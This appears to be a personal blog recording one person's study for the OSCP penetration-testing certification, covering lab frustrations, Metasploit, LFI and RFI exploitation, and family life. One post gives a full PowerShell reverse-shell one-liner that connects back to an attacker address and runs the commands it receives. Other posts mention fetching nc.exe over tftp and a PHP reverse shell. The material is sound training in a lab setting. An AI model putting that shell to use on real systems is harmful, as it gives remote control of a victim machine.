Studying on Parental Leave

Look at this guy – him and I bonded together yesterday. My wife went back to work, and I chilled with him for the day. I gotta tell ya, he did really well on his bottle. It was honestly day 1, and he is starting to get the bottle down.

My little man!

Which leads to the next thing. So I am on parental leave till November, and I was hoping that I could get some studying in with this dude. Well, I need to be patient with myself since that’s not going to happen for a while – at least till we get used to each other. So, yah, it’s going to be slow going with OSCP again. I haven’t signed back up for the labs, which is good. There is a lot I can do without them and I once the labs are up, the clock is ticking to get them done.

I really , really want to pass this exam. I have to say though, I have already been really learning a lot, but I have a long way to go to pass. I think I can do it.

The Journey is so long and I am so tired

This is getting ridiculous. It’s mainly my fault, but some of these exercises in the labs make me want to bang my head on the wall – really hard.

I am trying, and documenting the exercises. I have been working at them for over five months now, and yes, there are a few that have given me some hiccups. The ones that are hitting me hard are using sqlmap to obtain a shell on a target machine, using password attacks that were described in the book, and the Port Redirection/Tunneling. A lot of this is my fault for not going harder at the problems, and faster. For example, I did get the BoFs, but that was seriously like almost a half a year ago.

It looks like I have 12 days left in the labs, and I am definitely not going to get 10 boxes as root and document them all in that amount of time. Oh yeah, I also signed up for the test in September. Oh, and my wife and I are expecting a child in July.

To make matters worse, the prices are going up. So, it’s been real, but I am not sure if I am going to get this cert any time soon. I am not quite sure where to go from here. So let’s analyze, shall we?

Option one:
(ノಠ益ಠ)ノ彡┻━┻

Okay, let’s put the table back….
┳━┳ ヽ(ಠل͜ಠ)ノ

Let’s try that again:

  1. Just spend every morning for 2 hours in the lab and the exercises. Try to do the areas that you didn’t get (the exercises that you didn’t get) and if you don’t get them, it’s no biggie. Just try to get back into the material, and hit it hard for the last 12 days.
  2. Post-time: You didn’t get the 5 points. You’ll get them after your first attempt at the exam. Because face it, you aren’t going to pass your first attempt. So here is where HTB and ippsec walkthroughs will help you. Step one, find some free BoFs and PRACTICE them. You know that’s a solid 20 points.
  3. Walkthrough the boxes in July. Start figuring out your methods. Just try to get as comfortable you can to at least try the exam in September. August, keep on going. Learn as much as you can from tutorials, the book, watch the videos again and relate them to HTBs.
  4. Fri, 06 Sep 2019, 05:00 (America/New_York), just try.
  5. Buy 30 days of lab – $300 bones. Finish up the exercises and the boxes. Get the 5 points, then schedule your exam again. Take it.

Remember what your wife said, it’s not how quickly you pass, but when you pass. Don’t give up, don’t get scared. Just go for it. You got this.

Finally, I am getting to Metasploit. Wow.

Well, I haven’t written for a while, but my daughter turned 4, my wife is expecting in July, and I am waking up pretty early to start studying these days. It’s a slow process, but I’ll get there. My plan is finish the labs, practice on hackthebox.eu and take the test in early September. I feel like failing the first time is simply a right of passage, so if that happens, at least I’ll know what to expect for the next time. I will get this cert. It might take time, but I am going to get it.

I am getting to the end of the labs, and I know now why metasploit is last and why you can only use it on one box – it’s pretty powerful. I did use it to pop my first shell on the lab machines – using 08-067 to exploit SMB!

This gif never gets old…

I didn’t know about meterpreter before the exploit, so I was hanging onto my shell for dear life, trying to upload a privilege escalation executable using certutil and tftp, but the shell was non-interactive and yeah… didn’t get far. But I started reading about meterpreter and all I could think about is how I am going to root that box now with my new knowledge.

The labs ask to perform a few things that I had to skip and gain my knowledge on – i.e., using metasploit to dump hashes and pass the hash. So now, I have to go back and finish up those labs. My lab report, w/o and writeups of pwning the 10 machines is almost at 200 pages. I am not going to fail to get those 5 points. Even if I have to come back and pay for more lab time.

I will have to say that I am really enjoying my time learning through PWK. People slam it for not being current (the exploits and the material), but I think that’s part of it – TRYING HARDER. Also, forget that man, it’s a VERY solid foundation for pen testing.

RCE using RFI attacks

Now that I have finished tackling LFI attacks, I am moving on to try to do a similar exploit, but rather than executing something from the victim machine, I will execute from my computer (the attacking machine) – hence “Remote File Inclusion” attacks, or RFI attacks.

I seem to be having some trouble with this one, and ultimately going with pausing on this and rethinking. My first thought was to serve php-reverse-shell from pentestmonkey from my machine, but it didn’t work.

I then backed up and thought to myself if the shell was working at all. So I decided to just upload the script on my victim machine and see if I could get a reverse shell. Well, my windows victim machine is super old and http cacheing wasn’t even letting me download the reverse shell to the machine over 80. I tried tftp, and nada. I finally zipped the script, and downloaded the .zip file.

Then I went ahead and unzipped on my victim machine and tried it. It would connect over netcat but then close the connection. So yeah, that’s not working. Honestly, at this point, I don’t even think that I should be downloading outside scripts to get the labs to work. So I am going to back up again, think about having nc.exe served from my machine, and execute a command to that executable. Then at least I can move on with the labs.

I do think there is value to getting the php-reverse-shell from pentestmonkey working though – it would be super valuable when I start popping boxes.

RCE using LFI attacks – happy St. Patty’s Day!

Top of the mornin’ to ya…

I like to wake up early to study. I mean, really early. Like today, I woke up at 3:30 am today to tackle this issue of gaining remote code execution (RCE) using Local File Inclusion attacks (LFI). I was hanging out at a coffee shop till pretty late last night, and couldn’t get it. This AM, I realized a few mistakes in my URL and it looked like I was able to upload nc.exe to the victim machine using tftp. Once I did this, I could execute nc.exe to call back to my machine.

This got me thinking a bit though, and I started wondering if I didn’t have tftp on my vulnerable windows box. So I looked up a few reverse shells here, but most of them were built for a victim linux machine (i.e. bash commands).

I found one that supposedly works with a powershell command:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

I also need to think a bit about this. I need to explore more about how to execute a command on a remote machine that would send a shell to my attacking machine (reverse shells, son). Ippsec’s channel is a go-to for a lot of this.

If I don’t have tftp to upload nc.exe on an LFI through php or another web application code, then I would need to get the reverse shell to work on one command – thought that PS would do it, but nada. Ippsec actually had trouble with this too on bashed, so actually, that means I might be doing it right.

Listening to Irish gigs right now – takes me back when I went to Ireland with my wife.

Sláinte!

…and I just extended my lab time.

This is a journey folks. And my journey includes a kid and a full time job. So right now, I am hanging around Chapter 13, Local File Inclusion vulnerabilities, and in order to pop 10 boxes and finish the labs, I am going to need the extra time.

One of things that they say in the exercise is that they quote Lincoln – “Give me six hours to chop down a tree and I will spend the first four sharpening the ax”. I think I just need a few more days, not hours, to sharpen. 🙂

It’s a little tricky, and I really like how OffSec trains you in the labs to think about the cracks. Those cracks that can get you to root on a box. Off to LFIs!

Day 53 of the OSCP!!

I am slow – like really slow. I got through the enumeration section of the book pretty steadily, but now that I am working on Buffer Overflows, things are going slow and I am not as “quick” to pick back up the book.

I wake up at 4 am every day eager to study. After checking emails and reddit, I get in and make a little bit of progress. I really have to start putting more of my heart into this or else this OSCP is going to drag…

People take the test, what, like three times before they pass? I really need to get more wrapped in it, or this is going to be a really long process. I think I am going to buy 90 more days of lab to finish out the book, and then just go nuts on studying through hackthebox.eu and vulnhub. Take the test at the latest I can take it, and then if I fail, maybe 30 more days of lab and studying and then take it again.

I have a baby boy due in July so, yeah…. life happens, but it has always been my passion to pass this cert. I got this. Wish me luck.

15 days into to the OSCP and I am tired…

Hi everyone. I don’t think I officially started blogging about my OSCP journey. So, here, 15 days in and I am blogging while my latest PWK VM is being copied from C:/ to my NAS.

I have about 9 years of managerial cybersecurity experience under my belt, and as you can see from my earlier posts, I have been working for about 6 months getting prepped for my OSCP jump. I was working through Georgia Weidman’s Book, Penetration Testing: A Hands-On Introduction to Hacking, got frustrated at Cybrary for a hot one (some of the basic modules has flaws, not to mention my I would get kicked off the penetration testing pro track pretty much every week, and had to wait till Cybrary was back from the weekend to get sorted out). I thought about going back and doing my CE|H v10 but decided (thanks to my wife) that I should just go for the OSCP.

I was able to convince my work to flip the bill for 90 days of the lab and the materials, and whee! Here we go, into the rabbit hole. I have been scraping the web on people’s thoughts/preparation on the OSCP and shit myself in the process because this is a deep journey, and everyone is different, so I have to stop reading and just start moving.

Week 1: Got the monstrous course book, and the videos. Backed them up like three times since there is a fine for losing them and asking for them again. Worked verbatim through the videos, racking up some shell scripts and python on my PWK VM, and then realized that if I go through the book document all relevant exercises and pwn 10 machines, writing up a report, PDF it to Offensive Security, I would get 5 bonus points on my OSCP score. Some people say it’s not worth it, but I think it’s an awesome way to study and practice for the real deal, so I dropped doing the videos and started moving through the book.

Week 2: I am one slow man. I did manage to setup my PWK VM a bit better, realizing that terminator is the way to go, along with using OneNote to record my lab exercises and notes. I am three chapters out of 18 to go. I have a strange feeling that I will be asking for more lab time.

So, today I mounted an empty folder over my root folder in my PWK VM image today. I am not smart man. I can’t stress how glad I was for using OneNote online to backup my notes and exercises.  Backup, backup, backup.  The VMWare tools aren’t really working (at the moment) with the PWK VM, but after I messed everything up, I followed this chap’s thoughts on bridging a folder between the VM and the host, with the host folder backing up to the cloud. I chose OneDrive since my my OneNote online notebook for my notes and exercises were going there and the Surface Laptop I am using is so friggen integrated with OneDrive, I get that folder structure on my laptop mixed up with the simple core folders I have locally all the time. Moving forward, I see no reason not to back up my entire VM when I make changes to it.

Currently 6pm on 12/29/2018. I aim to get through a good portion of chapter 4 tomorrow. Remember, it’s an OSCP journey. I am so passionate about this stuff, and with time, I think I can rock this. I just need to be smart, and honestly, move a bit faster.

Finally landed on the Surface Laptop 2

Well, the Matebook X Pro didn’t fair well to a dual boot with Kali and Windows.   I think it had something to do with the weird 3000×2000 resolution and the fact that grub couldn’t understand that to boot into an installer for Kali.  I tried working on different grub commands, but eh, I did so much that I couldn’t get the machine to boot back into the original install.

So I took it back to the store and decided VM only – no dual booting.  I mean, OSCP is set up to work within a VM, all my practice books are with VMs.  So VM it is – and I need a good supported VM app, so Windows with VMWare Workstation was the way to go.  I also wanted a laptop that will last, so I put up the extra cash for the new Surface Laptop 2.  I am happy so far.  I do wish it has a USB-C as the MXP did, but it wasn’t a deal breaker.  Back to studying!

Greetings from Cambridge.

I am writing to you from Cambridge – my sister in law is a freshman here at Harvard, and it’s parent’s weekend.  Here’s a pic of her and my daughter 🙂  I had an opportunity to step into CS 50, which is the largest core computer science class that Harvard has to offer.  It was awesome.  The teacher was animated, clear, and descriptive.   I want to come to Harvard and get at CS degree now!

Here, they are introducing databases.  The one thing I love about Harvard is the inspiration it brings – which leads me to my Bsides event, which was awesome.  I learned a lot from the CTF, and I need to learn more.

I got to the game late, so I didn’t understand the team’s strategy.  Hell,  I didn’t even understand the board.  But a few reddit posts later, I think I am good to go for my next one.  I think I am going to play some CTFs online.

Oh, and work approved my OSCP tuition – so its on.